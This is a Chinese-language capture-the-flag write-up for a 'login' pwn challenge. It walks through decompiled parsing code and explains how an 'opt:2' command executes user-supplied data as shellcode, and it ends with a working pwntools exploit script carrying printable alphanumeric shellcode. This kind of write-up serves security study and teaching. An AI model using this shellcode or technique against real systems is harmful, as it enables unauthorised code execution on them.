这是去年国赛一道签到题 当时没做出来 现在来复现一下
一、查看保护
保护全开
二、逆向分析
main
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char s[1032]; // [rsp+0h] [rbp-410h] BYREF
unsigned __int64 v4; // [rsp+408h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_C0A();
while ( 1 )
{
memset(s, 0, 0x400uLL);
printf(">>> ");
read(0, s, 0x3FFuLL);
sub_FFD(s);
}
}
观察发现 while(1) 我们程序可以反复输入
sub_FFD(s)
v13 = __readfsqword(0x28u);
memset(qword_202040, 0, sizeof(qword_202040));
v8 = 0;
v7 = 0;
dest = 0LL;
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
{
if ( v8 <= 5 )
qword_202040[2 * v8] = a1;
sb = strchr(a1, 58);
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc;
sd = strchr(sc, 10);
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;
a1 = sd + 1;
if ( *a1 == 13 )
*a1++ = 0;
s1 = qword_202040[2 * v8];
nptr = qword_202040[2 * v8 + 1];
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(s1, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
主要是会对输入的s(a1)进行一个过滤
只有输入opt:v7\n+msg:dest\n 这种格式的命令才是合法的 否则就会退出
三、利用思路
其实这个程序的漏洞点非常简单
当v7为2时 我们会跳转到这个函数
程序会将我们写入dest的内容当作shellcode执行,因此我们需要传入可视字符串的shellcode
在进入这个if语句前,我们需要将unk_202028和unk_202024都设置为1才行
简单的是,当v7为1时 只要a1(也就是dest)为ro0t的时候,函数进行了初始化
这样我们大体的利用思路就出现了:
通过构造opt:v7\n+msg:dest\n的shellcode
第一步 将v7设置为1 dest设置为ro0t 将数据进行初始化
第二部 将v7设置为2 dest设置为我们已经准备好的shellcode
需要注意的地方:
由于从nptr复制到dest的时候传输的字节数是nptr的长度减1,因此需要多传一个无用的字节
shellcode应该是可视字符shellcode
四、wp
from pwn import *
context.log_level='debug'
p=process('./login')
shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload1='opt:1\n'+'msg:ro0t\r\n'
payload2='opt:2\n'+'msg:'+shellcode+'\r\n'
p.sendlineafter('>>> ',payload1)
p.sendlineafter('>>> ',payload2)
p.interactive()